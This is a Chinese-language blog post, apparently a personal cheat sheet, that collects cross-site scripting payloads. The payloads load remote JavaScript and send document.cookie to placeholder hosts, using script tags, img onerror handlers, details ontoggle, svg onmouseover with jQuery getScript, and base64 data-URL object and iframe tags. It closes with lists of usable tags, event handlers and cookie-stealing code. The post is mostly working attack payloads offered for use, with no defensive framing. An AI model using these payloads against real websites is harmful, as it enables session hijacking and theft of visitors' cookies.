xss加載遠程第三方js

沒有調用遠程平臺,用web接收cookie

<script>window.open('http://xxx.xxx/cookie.asp?msg='+document.cookie)</script>

簡單的script鏈接遠程第三方js,省略協議,瀏覽器自動加載當前頁面的協議

<script src=//xxx.xxx/a.js></script>

img圖片

圖片創建script節點,鏈接遠程第三方JS

<img src=x onerror=document.body.appendChild(document.createElement('script')).src='//xxx.xxx/a.js'>

圖片創建其他節點,接收cookie

<img src=x onerror=document.body.appendChild(document.createElement('img')).src='//xxx.xxx/a?cookie='+document.cookie>

details+ontoggle展開

details詳細信息展開時觸發,往往是被忽略的一個點

<details ontoggle="$.getScript`https://xxx/a.js`">123</details>

data url

生成base64解碼內容
TIP:剛開始用的時候,頁面加載的是經過urlencode的script標籤,無法解析;經過同事指點,是生成base64的網站自己加的url編碼。再用站長之家,script生成的base64中有htmlencode。。最後找到了個正常的。
在線加密解密

<object data="data:text/html;base64,PHNjcmlwdCBzcmM9aHR0cDovL3h4eC54eHgvYS5qcz48L3NjcmlwdD4="></object>

<iframe src="data:text/html;base64,PHNjcmlwdCBzcmM9aHR0cDovL3h4eC54eHgvYS5qcz48L3NjcmlwdD4="></iframe>

標籤還有 <anchor>、<img>(不允許加載js) <a>(需點擊) <meta>.....

直接調用

JQuery調用js

onmouseover=$.getScript("//xxx.xxx/a.js");
<svg onmouseover="$.getScript`https://xxx/a.js`" stype="display:none">

總結

總的來說,三個點。
標籤、屬性、事件代碼。
標籤

svg
input
object
iframe
img
甚至a pbutton等等都行。script直接運行js  

屬性

onerror
onload
onmouseover
onmousemove
onmousedown
onclick
onfocus+autofocus
切換(具體忘了,回頭查查)  

代碼

console.log(document.cookie)
document.location= "http://www.example.com/cookie_catcher.php?c=" + document.cookie
prompt(document.cookie)
confirm(document.cookie)

以及上方加載遠程代碼的payload
發表評論
所有評論
還沒有人評論,想成為第一個評論的人麼? 請在上方評論欄輸入並且點擊發布.
相關文章